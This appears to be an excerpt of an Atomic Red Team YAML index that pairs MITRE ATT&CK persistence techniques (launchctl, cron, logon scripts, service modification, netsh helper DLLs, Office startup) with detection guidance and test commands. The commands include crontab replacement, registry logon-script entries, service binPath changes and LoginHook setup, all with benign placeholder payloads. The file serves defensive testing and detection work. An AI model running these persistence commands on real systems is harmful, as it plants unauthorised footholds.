or launch daemons can require elevated privileges. \n\nAdversaries can abuse
this functionality to execute code or even bypass whitelisting if launchctl
is an allowed process."
x_mitre_remote_support: false
id: attack-pattern--53bfc8bf-8f76-4cd7-8958-49a884ddb3ee
x_mitre_platforms:
- macOS
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: Knock Knock can be used to detect persistent programs such
as those installed via launchctl as launch agents or launch daemons. Additionally,
every launch agent or launch daemon must have a corresponding plist file on
disk somewhere which can be monitored. Monitor process execution from launchctl/launchd
for unusual or unknown processes.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
modified: '2019-07-18T15:27:13.077Z'
created: '2017-12-14T16:46:06.044Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: defense-evasion
- kill_chain_name: mitre-attack
phase_name: execution
- kill_chain_name: mitre-attack
phase_name: persistence
external_references:
- external_id: T1152
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1152
- source_name: Sofacy Komplex Trojan
description: Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26).
Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.
url: https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/
x_mitre_defense_bypassed:
- Application whitelisting
- Process whitelisting
- Whitelisting by file name or path
identifier: T1152
atomic_tests:
- name: Launchctl
description: 'Utilize launchctl
'
supported_platforms:
- macos
executor:
name: sh
command: 'launchctl submit -l evil -- /Applications/Calculator.app/Contents/MacOS/Calculator
'
T1168:
technique:
x_mitre_data_sources:
- File monitoring
- Process monitoring
x_mitre_permissions_required:
- Administrator
- User
- root
name: Local Job Scheduling
description: |-
On Linux and macOS systems, multiple methods are supported for creating pre-scheduled and periodic background jobs: cron, (Citation: Die.net Linux crontab Man Page) at, (Citation: Die.net Linux at Man Page) and launchd. (Citation: AppleDocs Scheduling Timed Jobs) Unlike [Scheduled Task](https://attack.mitre.org/techniques/T1053) on Windows systems, job scheduling on Linux-based systems cannot be done remotely unless used in conjunction within an established remote session, like secure shell (SSH).
### cron
System-wide cron jobs are installed by modifying /etc/crontab file, /etc/cron.d/ directory or other locations supported by the Cron daemon, while per-user cron jobs are installed using crontab with specifically formatted crontab files. (Citation: AppleDocs Scheduling Timed Jobs) This works on macOS and Linux systems.
Those methods allow for commands or scripts to be executed at specific, periodic intervals in the background without user interaction. An adversary may use job scheduling to execute programs at system startup or on a scheduled basis for Persistence, (Citation: Janicab) (Citation: Methods of Mac Malware Persistence) (Citation: Malware Persistence on OS X) (Citation: Avast Linux Trojan Cron Persistence) to conduct Execution as part of Lateral Movement, to gain root privileges, or to run a process under the context of a specific account.
### at
The at program is another means on POSIX-based systems, including macOS and Linux, to schedule a program or script job for execution at a later date and/or time, which could also be used for the same purposes.
### launchd
Each launchd job is described by a different configuration property list (plist) file similar to [Launch Daemon](https://attack.mitre.org/techniques/T1160) or [Launch Agent](https://attack.mitre.org/techniques/T1159), except there is an additional key called StartCalendarInterval with a dictionary of time values. (Citation: AppleDocs Scheduling Timed Jobs) This only works on macOS and OS X.
id: attack-pattern--c0a384a4-9a25-40e1-97b6-458388474bc8
x_mitre_platforms:
- Linux
- macOS
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: Legitimate scheduled jobs may be created during installation
of new software or through administration functions. Jobs scheduled with launchd
and cron can be monitored from their respective utilities to list out detailed
information about the jobs. Monitor process execution resulting from launchd
and cron tasks to look for unusual or unknown applications and behavior.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Anastasios Pingios
created: '2017-12-14T16:46:06.044Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: persistence
- kill_chain_name: mitre-attack
phase_name: execution
external_references:
- external_id: T1168
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1168
- source_name: Die.net Linux crontab Man Page
description: Paul Vixie. (n.d.). crontab(5) - Linux man page. Retrieved December
19, 2017.
url: https://linux.die.net/man/5/crontab
- source_name: Die.net Linux at Man Page
description: Thomas Koenig. (n.d.). at(1) - Linux man page. Retrieved December
19, 2017.
url: https://linux.die.net/man/1/at
- source_name: AppleDocs Scheduling Timed Jobs
description: Apple. (n.d.). Retrieved July 17, 2017.
url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/ScheduledJobs.html
- source_name: Janicab
description: Thomas. (2013, July 15). New signed malware called Janicab. Retrieved
July 17, 2017.
url: http://www.thesafemac.com/new-signed-malware-called-janicab/
- source_name: Methods of Mac Malware Persistence
description: Patrick Wardle. (2014, September). Methods of Malware Persistence
on Mac OS X. Retrieved July 5, 2017.
url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
- source_name: Malware Persistence on OS X
description: Patrick Wardle. (2015). Malware Persistence on OS X Yosemite.
Retrieved July 10, 2017.
url: https://www.rsaconference.com/writable/presentations/file_upload/ht-r03-malware-persistence-on-os-x-yosemite_final.pdf
- source_name: Avast Linux Trojan Cron Persistence
description: Threat Intelligence Team. (2015, January 6). Linux DDoS Trojan
hiding itself with an embedded rootkit. Retrieved January 8, 2018.
url: https://blog.avast.com/2015/01/06/linux-ddos-trojan-hiding-itself-with-an-embedded-rootkit/
modified: '2019-07-18T15:32:39.720Z'
identifier: T1168
atomic_tests:
- name: Cron - Replace crontab with referenced file
description: 'This test replaces the current user''s crontab file with the contents
of the referenced file. This technique was used by numerous IoT automated
exploitation attacks.
'
supported_platforms:
- macos
- centos
- ubuntu
- linux
input_arguments:
command:
description: Command to execute
type: string
default: "/tmp/evil.sh"
tmp_cron:
description: Temporary reference file to hold evil cron schedule
type: path
default: "/tmp/persistevil"
executor:
name: bash
command: 'echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
'
- name: Cron - Add script to cron folder
description: 'This test adds a script to a cron folder configured to execute
on a schedule. This technique was used by the threat actor Rocke during the
exploitation of Linux web servers.
'
supported_platforms:
- macos
- centos
- ubuntu
- linux
input_arguments:
command:
description: Command to execute
type: string
default: echo 'Hello from Atomic Red Team' > /tmp/atomic.log
cron_script_name:
description: Name of file to store in cron folder
type: string
default: persistevil
executor:
name: bash
command: 'echo "#{command}" > /etc/cron.daily/#{cron_script_name}
'
- name: Event Monitor Daemon Persistence
description: "This test adds persistence via a plist to execute via the macOS
Event Monitor Daemon. \n"
supported_platforms:
- macos
- centos
- ubuntu
- linux
executor:
name: manual
steps: |
1. Place this file in /etc/emond.d/rules/atomicredteam.plist
name
atomicredteam
enabled
eventTypes
startup
actions
command
/usr/bin/say
user
root
arguments
-v Tessa
I am a persistent startup item.
type
RunCommand
2. Place an empty file in /private/var/db/emondClients/
3. sudo touch /private/var/db/emondClients/randomflag
T1037:
technique:
x_mitre_data_sources:
- File monitoring
- Process monitoring
type: attack-pattern
name: Logon Scripts
description: |-
### Windows
Windows allows logon scripts to be run whenever a specific user or group of users log into a system. (Citation: TechNet Logon Scripts) The scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server.
If adversaries can access these scripts, they may insert additional code into the logon script to execute their tools when a user logs in. This code can allow them to maintain persistence on a single system, if it is a local script, or to move laterally within a network, if the script is stored on a central server and pushed to many systems. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.
### Mac
Mac allows login and logoff hooks to be run as root whenever a specific user logs into or out of a system. A login hook tells Mac OS X to execute a certain script when a user logs in, but unlike startup items, a login hook executes as root (Citation: creating login hook). There can only be one login hook at a time though. If adversaries can access these scripts, they can insert additional code to the script to execute their tools when a user logs in.
id: attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334
x_mitre_platforms:
- macOS
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
x_mitre_system_requirements:
- Write access to system or domain logon scripts
x_mitre_detection: Monitor logon scripts for unusual access by abnormal users
or at abnormal times. Look for files added or modified by unusual accounts
outside of normal administration duties.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
created: '2017-05-31T21:30:38.910Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: lateral-movement
- kill_chain_name: mitre-attack
phase_name: persistence
external_references:
- external_id: T1037
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1037
- source_name: capec
external_id: CAPEC-564
url: https://capec.mitre.org/data/definitions/564.html
- source_name: TechNet Logon Scripts
description: Microsoft. (2005, January 21). Creating logon scripts. Retrieved
April 27, 2016.
url: https://technet.microsoft.com/en-us/library/cc758918(v=ws.10).aspx
- source_name: creating login hook
description: 'Apple. (2011, June 1). Mac OS X: Creating a login hook. Retrieved
July 17, 2017.'
url: https://support.apple.com/de-at/HT2420
modified: '2019-06-24T14:22:07.921Z'
identifier: T1037
atomic_tests:
- name: Logon Scripts
description: 'Added Via Reg.exe
'
supported_platforms:
- windows
input_arguments:
script_command:
description: Command To Execute
type: String
default: cmd.exe /c calc.exe
executor:
name: command_prompt
elevation_required: false
command: 'REG.exe ADD HKCU\Environment /v UserInitMprLogonScript /t REG_MULTI_SZ
/d "#{script_command}"
'
cleanup_command: 'REG.exe DELETE HKCU\Environment /v UserInitMprLogonScript
/f
'
- name: Logon Scripts - Mac
description: 'Mac logon script
'
supported_platforms:
- macos
executor:
name: manual
steps: "1. Create the required plist file\n\n sudo touch /private/var/root/Library/Preferences/com.apple.loginwindow.plist\n\n2.
Populate the plist with the location of your shell script\n\n sudo defaults
write com.apple.loginwindow LoginHook /Library/Scripts/AtomicRedTeam.sh\n\n3.
Create the required plist file in the target user's Preferences directory\n\n\t
\ touch /Users/$USER/Library/Preferences/com.apple.loginwindow.plist\n\n4.
Populate the plist with the location of your shell script\n\n\t defaults
write com.apple.loginwindow LoginHook /Library/Scripts/AtomicRedTeam.sh\n"
T1031:
technique:
x_mitre_permissions_required:
- Administrator
- SYSTEM
x_mitre_data_sources:
- Windows Registry
- File monitoring
- Process monitoring
- Process command-line parameters
name: Modify Existing Service
description: |-
Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Registry. Service configurations can be modified using utilities such as sc.exe and [Reg](https://attack.mitre.org/software/S0075).
Adversaries can modify an existing service to persist malware on a system by using system utilities or by using custom tools to interact with the Windows API. Use of existing services is a type of [Masquerading](https://attack.mitre.org/techniques/T1036) that may make detection analysis more challenging. Modifying existing services may interrupt their functionality or may enable services that are disabled or otherwise not commonly used.
Adversaries may also intentionally corrupt or kill services to execute malicious recovery programs/commands. (Citation: Twitter Service Recovery Nov 2017) (Citation: Microsoft Service Recovery Feb 2013)
id: attack-pattern--62dfd1ca-52d5-483c-a84b-d6e80bf94b7b
x_mitre_platforms:
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: "Look for changes to service Registry entries that do not
correlate with known software, patch cycles, etc. Changes to the binary path
and the service startup type changed from manual or disabled to automatic,
if it does not typically do so, may be suspicious. Tools such as Sysinternals
Autoruns may also be used to detect system service changes that could be attempts
at persistence. (Citation: TechNet Autoruns) \n\nService information is stored
in the Registry at HKLM\\SYSTEM\\CurrentControlSet\\Services.\n\nCommand-line
invocation of tools capable of modifying services may be unusual, depending
on how systems are typically used in a particular environment. Collect service
utility execution and service binary path arguments used for analysis. Service
binary paths may even be changed to execute [cmd](https://attack.mitre.org/software/S0106)
commands or scripts.\n\nLook for abnormal process call trees from known services
and for execution of other commands that could relate to Discovery or other
adversary techniques. Services may also be modified through Windows system
management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047)
and [PowerShell](https://attack.mitre.org/techniques/T1086), so additional
logging may need to be configured to gather the appropriate data."
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Travis Smith, Tripwire
- Matthew Demaske, Adaptforward
created: '2017-05-31T21:30:34.928Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: persistence
external_references:
- external_id: T1031
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1031
- source_name: capec
external_id: CAPEC-551
url: https://capec.mitre.org/data/definitions/551.html
- source_name: Twitter Service Recovery Nov 2017
description: The Cyber (@r0wdy_). (2017, November 30). Service Recovery Parameters.
Retrieved April 9, 2018.
url: https://twitter.com/r0wdy_/status/936365549553991680
- source_name: Microsoft Service Recovery Feb 2013
description: Microsoft. (2013, February 22). Set up Recovery Actions to Take
Place When a Service Fails. Retrieved April 9, 2018.
url: https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc753662(v=ws.11)
- source_name: TechNet Autoruns
description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
Retrieved June 6, 2016.
url: https://technet.microsoft.com/en-us/sysinternals/bb963902
modified: '2019-07-18T16:20:52.185Z'
identifier: T1031
atomic_tests:
- name: Modify Fax service to run PowerShell
description: |
This test will temporarily modify the service Fax by changing the binPath to PowerShell
and will then revert the binPath change, restoring Fax to its original state.
supported_platforms:
- windows
executor:
name: command_prompt
elevation_required: true
command: |
sc config Fax binPath= "C:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -noexit -c \"write-host 'T1031 Test'\""
sc start Fax
sc config Fax binPath= "C:\WINDOWS\system32\fxssvc.exe"
T1128:
technique:
x_mitre_data_sources:
- DLL monitoring
- Windows Registry
- Process monitoring
x_mitre_permissions_required:
- Administrator
- SYSTEM
name: Netsh Helper DLL
description: |-
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility. (Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at HKLM\SOFTWARE\Microsoft\Netsh.
Adversaries can use netsh.exe with helper DLLs to proxy execution of arbitrary code in a persistent manner when netsh.exe is executed automatically with another Persistence technique or if other persistent software is present on the system that executes netsh.exe as part of its normal functionality. Examples include some VPN software that invoke netsh.exe. (Citation: Demaske Netsh Persistence)
Proof of concept code exists to load Cobalt Strike's payload using netsh.exe helper DLLs. (Citation: Github Netsh Helper CS Beacon)
id: attack-pattern--bb0e0cb5-f3e4-4118-a4cb-6bf13bfbc9f2
x_mitre_platforms:
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
x_mitre_system_requirements:
- "[netsh](https://attack.mitre.org/software/S0108)"
type: attack-pattern
x_mitre_detection: 'It is likely unusual for netsh.exe to have any child processes
in most environments. Monitor process executions and investigate any child
processes spawned by netsh.exe for malicious behavior. Monitor the HKLM\SOFTWARE\Microsoft\Netsh
registry key for any new or suspicious entries that do not correlate with
known system files or benign software. (Citation: Demaske Netsh Persistence)'
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Matthew Demaske, Adaptforward
created: '2017-05-31T21:31:40.168Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: persistence
external_references:
- external_id: T1128
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1128
- source_name: TechNet Netsh
description: Microsoft. (n.d.). Using Netsh. Retrieved February 13, 2017.
url: https://technet.microsoft.com/library/bb490939.aspx
- source_name: Demaske Netsh Persistence
description: Demaske, M. (2016, September 23). USING NETSHELL TO EXECUTE EVIL
DLLS AND PERSIST ON A HOST. Retrieved April 8, 2017.
url: https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html
- source_name: Github Netsh Helper CS Beacon
description: Smeets, M. (2016, September 26). NetshHelperBeacon. Retrieved
February 13, 2017.
url: https://github.com/outflankbv/NetshHelperBeacon
modified: '2019-04-29T20:48:01.254Z'
identifier: T1128
atomic_tests:
- name: Netsh Helper DLL Registration
description: 'Netsh interacts with other operating system components using dynamic-link
library (DLL) files
'
supported_platforms:
- windows
input_arguments:
helper_file:
description: Path to DLL
type: Path
default: C:\Path\file.dll
executor:
name: command_prompt
command: 'netsh.exe add helper #{helper_file}
'
T1050:
technique:
x_mitre_permissions_required:
- Administrator
- SYSTEM
x_mitre_data_sources:
- Windows Registry
- Process monitoring
- Process command-line parameters
- Windows event logs
name: New Service
description: "When operating systems boot up, they can start programs or applications
called services that perform background system functions. (Citation: TechNet
Services) A service's configuration information, including the file path to
the service's executable, is stored in the Windows Registry. \n\nAdversaries
may install a new service that can be configured to execute at startup by
using utilities to interact with services or by directly modifying the Registry.
The service name may be disguised by using a name from a related operating
system or benign software with [Masquerading](https://attack.mitre.org/techniques/T1036).
Services may be created with administrator privileges but are executed under
SYSTEM privileges, so an adversary may also use a service to escalate privileges
from administrator to SYSTEM. Adversaries may also directly start services
through [Service Execution](https://attack.mitre.org/techniques/T1035)."
id: attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790
x_mitre_platforms:
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: |-
Monitor service creation through changes in the Registry and common utilities using command-line invocation. Creation of new services may generate an alterable event (ex: Event ID 4697 and/or 7045 (Citation: Microsoft 4697 APR 2017) (Citation: Microsoft Windows Event Forwarding FEB 2018)). New, benign services may be created during installation of new software. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.
Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence. (Citation: TechNet Autoruns) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.
Monitor processes and command-line arguments for actions that could create services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be created through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086), so additional logging may need to be configured to gather the appropriate data.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Pedro Harrison
created: '2017-05-31T21:30:45.613Z'
x_mitre_effective_permissions:
- SYSTEM
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: persistence
- kill_chain_name: mitre-attack
phase_name: privilege-escalation
external_references:
- external_id: T1050
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1050
- source_name: capec
external_id: CAPEC-550
url: https://capec.mitre.org/data/definitions/550.html
- source_name: TechNet Services
description: Microsoft. (n.d.). Services. Retrieved June 7, 2016.
url: https://technet.microsoft.com/en-us/library/cc772408.aspx
- source_name: Microsoft 4697 APR 2017
description: 'Miroshnikov, A. & Hall, J. (2017, April 18). 4697(S): A service
was installed in the system. Retrieved August 7, 2018.'
url: https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4697
- source_name: Microsoft Windows Event Forwarding FEB 2018
description: Hardy, T. & Hall, J. (2018, February 15). Use Windows Event Forwarding
to help with intrusion detection. Retrieved August 7, 2018.
url: https://docs.microsoft.com/windows/security/threat-protection/use-windows-event-forwarding-to-assist-in-intrusion-detection
- source_name: TechNet Autoruns
description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
Retrieved June 6, 2016.
url: https://technet.microsoft.com/en-us/sysinternals/bb963902
modified: '2019-07-18T16:43:25.906Z'
identifier: T1050
atomic_tests:
- name: Service Installation
description: 'Installs A Local Service
'
supported_platforms:
- windows
input_arguments:
binary_path:
description: Name of the service binary, include path.
type: Path
default: C:\AtomicRedTeam\atomics\T1050\bin\AtomicService.exe
service_name:
description: Name of the Service
type: String
default: AtomicTestService
executor:
name: command_prompt
elevation_required: true
command: |
sc.exe create #{service_name} binPath= #{binary_path}
sc.exe start #{service_name}
sc.exe stop #{service_name}
sc.exe delete #{service_name}
- name: Service Installation PowerShell Installs A Local Service using PowerShell
description: 'Installs A Local Service via PowerShell
'
supported_platforms:
- windows
input_arguments:
binary_path:
description: Name of the service binary, include path.
type: Path
default: C:\AtomicRedTeam\atomics\T1050\bin\AtomicService.exe
service_name:
description: Name of the Service
type: String
default: AtomicTestService
executor:
name: powershell
elevation_required: true
command: |
New-Service -Name "#{service_name}" -BinaryPathName "#{binary_path}"
Start-Service -Name "#{service_name}"
Stop-Service -Name "#{service_name}"
(Get-WmiObject Win32_Service -filter "name='#{service_name}'").Delete()
T1137:
technique:
x_mitre_data_sources:
- Process monitoring
- Process command-line parameters
- Windows Registry
- File monitoring
x_mitre_permissions_required:
- User
- Administrator
name: Office Application Startup
description: "Microsoft Office is a fairly common application suite on Windows-based
operating systems within an enterprise network. There are multiple mechanisms
that can be used with Office for persistence when an Office-based application
is started.\n\n### Office Template Macros\n\nMicrosoft Office contains templates
that are part of common Office applications and are used to customize styles.
The base templates within the application are used each time an application
starts. (Citation: Microsoft Change Normal Template)\n\nOffice Visual Basic
for Applications (VBA) macros (Citation: MSDN VBA in Office) can be inserted
into the base template and used to execute code when the respective Office
application starts in order to obtain persistence. Examples for both Word
and Excel have been discovered and published. By default, Word has a Normal.dotm
template created that can be modified to include a malicious macro. Excel
does not have a template file created by default, but one can be added that
will automatically be loaded.(Citation: enigma0x3 normal.dotm)(Citation: Hexacorn
Office Template Macros) Shared templates may also be stored and pulled from
remote locations.(Citation: GlobalDotName Jun 2019) \n\nWord Normal.dotm location:C:\\Users\\\\(username)\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm\n\nExcel
Personal.xlsb location:C:\\Users\\\\(username)\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\PERSONAL.XLSB\n\nAdversaries
may also change the location of the base template to point to their own by
hijacking the application's search order, e.g. Word 2016 will first look for
Normal.dotm under C:\\Program Files (x86)\\Microsoft Office\\root\\Office16\\,
or by modifying the GlobalDotName registry key. By modifying the GlobalDotName
registry key an adversary can specify an arbitrary location, file name, and
file extension to use for the template that will be loaded on application
startup. To abuse GlobalDotName, adversaries may first need to register the
template as a trusted document or place it in a trusted location.(Citation:
GlobalDotName Jun 2019) \n\nAn adversary may need to enable macros to execute
unrestricted depending on the system or enterprise security policy on use
of macros.\n\n### Office Test\n\nA Registry location was found that when a
DLL reference was placed within it the corresponding DLL pointed to by the
binary path would be executed every time an Office application is started
(Citation: Hexacorn Office Test)\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Office
test\\Special\\Perf\n\n### Add-ins\n\nOffice add-ins can be used to
add functionality to Office programs. (Citation: Microsoft Office Add-ins)\n\nAdd-ins
can also be used to obtain persistence because they can be set to execute
code when an Office application starts. There are different types of add-ins
that can be used by the various Office products; including Word/Excel add-in
Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins,
automation add-ins, VBA Editor (VBE), Visual Studio Tools for Office (VSTO)
add-ins, and Outlook add-ins. (Citation: MRWLabs Office Persistence Add-ins)(Citation:
FireEye Mail CDS 2018)\n\n### Outlook Rules, Forms, and Home Page\n\nA variety
of features have been discovered in Outlook that can be abused to obtain persistence,
such as Outlook rules, forms, and Home Page.(Citation: SensePost Ruler GitHub)
These persistence mechanisms can work within Outlook or be used through Office
365.(Citation: TechNet O365 Outlook Rules)\n\nOutlook rules allow a user to
define automated behavior to manage email messages. A benign rule might, for
example, automatically move an email to a particular folder in Outlook if
it contains specific words from a specific sender. Malicious Outlook rules
can be created that can trigger code execution when an adversary sends a specifically
crafted email to that user.(Citation: SilentBreak Outlook Rules)\n\nOutlook
forms are used as templates for presentation and functionality in Outlook
messages. Custom Outlook Forms can be created that will execute code when
a specifically crafted email is sent by an adversary utilizing the same custom
Outlook form.(Citation: SensePost Outlook Forms)\n\nOutlook Home Page is a
legacy feature used to customize the presentation of Outlook folders. This
feature allows for an internal or external URL to be loaded and presented
whenever a folder is opened. A malicious HTML page can be crafted that will
execute code when loaded by Outlook Home Page.(Citation: SensePost Outlook
Home Page)\n\nTo abuse these features, an adversary requires prior access
to the user’s Outlook mailbox, either via an Exchange/OWA server or via the
client application. Once malicious rules, forms, or Home Pages have been added
to the user’s mailbox, they will be loaded when Outlook is started. Malicious
Home Pages will execute when the right Outlook folder is loaded/reloaded while
malicious rules and forms will execute when an adversary sends a specifically
crafted email to the user.(Citation: SilentBreak Outlook Rules)(Citation:
SensePost Outlook Forms)(Citation: SensePost Outlook Home Page)"
id: attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53
x_mitre_platforms:
- Windows
- Office 365
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.2'
x_mitre_system_requirements:
- |-
Office Test technique: Office 2007, 2010, 2013, 2015 and 2016
Add-ins: some require administrator permissions
type: attack-pattern
x_mitre_detection: |-
Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence.(Citation: CrowdStrike Outlook Forms)(Citation: Outlook Today Home Page) Modification to base templated, like Normal.dotm, should also be investigated since the base templates should likely not contain VBA macros. Changes to the Office macro security settings should also be investigated.(Citation: GlobalDotName Jun 2019)
Monitor and validate the Office trusted locations on the file system and audit the Registry entries relevant for enabling add-ins.(Citation: GlobalDotName Jun 2019)(Citation: MRWLabs Office Persistence Add-ins)
Non-standard process execution trees may also indicate suspicious or malicious behavior. Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. If winword.exe is the parent process for suspicious processes and activity relating to other adversarial techniques, then it could indicate that the application was used maliciously.
For the Outlook rules and forms methods, Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Microsoft Threat Intelligence Center (MSTIC)
- Sahar Shukrun
- Praetorian
- Nick Carr, FireEye
- Loic Jaquemet
- Ricardo Dias
created: '2017-12-14T16:46:06.044Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: persistence
external_references:
- external_id: T1137
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1137
- source_name: Microsoft Change Normal Template
description: Microsoft. (n.d.). Change the Normal template (Normal.dotm).
Retrieved July 3, 2017.
url: https://support.office.com/article/Change-the-Normal-template-Normal-dotm-06de294b-d216-47f6-ab77-ccb5166f98ea
- source_name: MSDN VBA in Office
description: Austin, J. (2017, June 6). Getting Started with VBA in Office.
Retrieved July 3, 2017.
url: https://msdn.microsoft.com/en-us/vba/office-shared-vba/articles/getting-started-with-vba-in-office
- source_name: enigma0x3 normal.dotm
description: Nelson, M. (2014, January 23). Maintaining Access with normal.dotm.
Retrieved July 3, 2017.
url: https://enigma0x3.net/2014/01/23/maintaining-access-with-normal-dotm/comment-page-1/
- source_name: Hexacorn Office Template Macros
description: Hexacorn. (2017, April 17). Beyond good ol’ Run key, Part 62.
Retrieved July 3, 2017.
url: http://www.hexacorn.com/blog/2017/04/19/beyond-good-ol-run-key-part-62/
- description: Shukrun, S. (2019, June 2). Office Templates and GlobalDotName
- A Stealthy Office Persistence Technique. Retrieved August 26, 2019.
source_name: GlobalDotName Jun 2019
url: https://www.221bluestreet.com/post/office-templates-and-globaldotname-a-stealthy-office-persistence-technique
- source_name: Hexacorn Office Test
description: Hexacorn. (2014, April 16). Beyond good ol’ Run key, Part 10.
Retrieved July 3, 2017.
url: http://www.hexacorn.com/blog/2014/04/16/beyond-good-ol-run-key-part-10/
- source_name: Microsoft Office Add-ins
description: Microsoft. (n.d.). Add or remove add-ins. Retrieved July 3, 2017.
url: https://support.office.com/article/Add-or-remove-add-ins-0af570c4-5cf3-4fa9-9b88-403625a0b460
- source_name: MRWLabs Office Persistence Add-ins
description: Knowles, W. (2017, April 21). Add-In Opportunities for Office
Persistence. Retrieved July 3, 2017.
url: https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/
- description: Caban, D. and Hirani, M. (2018, October 3). You’ve Got Mail!
Enterprise Email Compromise. Retrieved April 22, 2019.
source_name: FireEye Mail CDS 2018
url: https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s03-youve-got-mail.pdf
- description: 'SensePost. (2016, August 18). Ruler: A tool to abuse Exchange
services. Retrieved February 4, 2019.'
source_name: SensePost Ruler GitHub
url: https://github.com/sensepost/ruler
- description: Landers, N. (2015, December 4). Malicious Outlook Rules. Retrieved
February 4, 2019.
source_name: SilentBreak Outlook Rules
url: https://silentbreaksecurity.com/malicious-outlook-rules/
- description: Stalmans, E. (2017, April 28). Outlook Forms and Shells. Retrieved
February 4, 2019.
source_name: SensePost Outlook Forms
url: https://sensepost.com/blog/2017/outlook-forms-and-shells/
- description: Stalmans, E. (2017, October 11). Outlook Home Page – Another
Ruler Vector. Retrieved February 4, 2019.
source_name: SensePost Outlook Home Page
url: https://sensepost.com/blog/2017/outlook-home-page-another-ruler-vector/
- description: Parisi, T., et al. (2017, July). Using Outlook Forms for Lateral
Movement and Persistence. Retrieved February 5, 2019.
source_name: CrowdStrike Outlook Forms
url: https://malware.news/t/using-outlook-forms-for-lateral-movement-and-persistence/13746
- description: Soutcast. (2018, September 14). Outlook Today Homepage Persistence.
Retrieved February 5, 2019.
source_name: Outlook Today Home Page
url: https://medium.com/@bwtech789/outlook-today-homepage-persistence-33ea9b505943
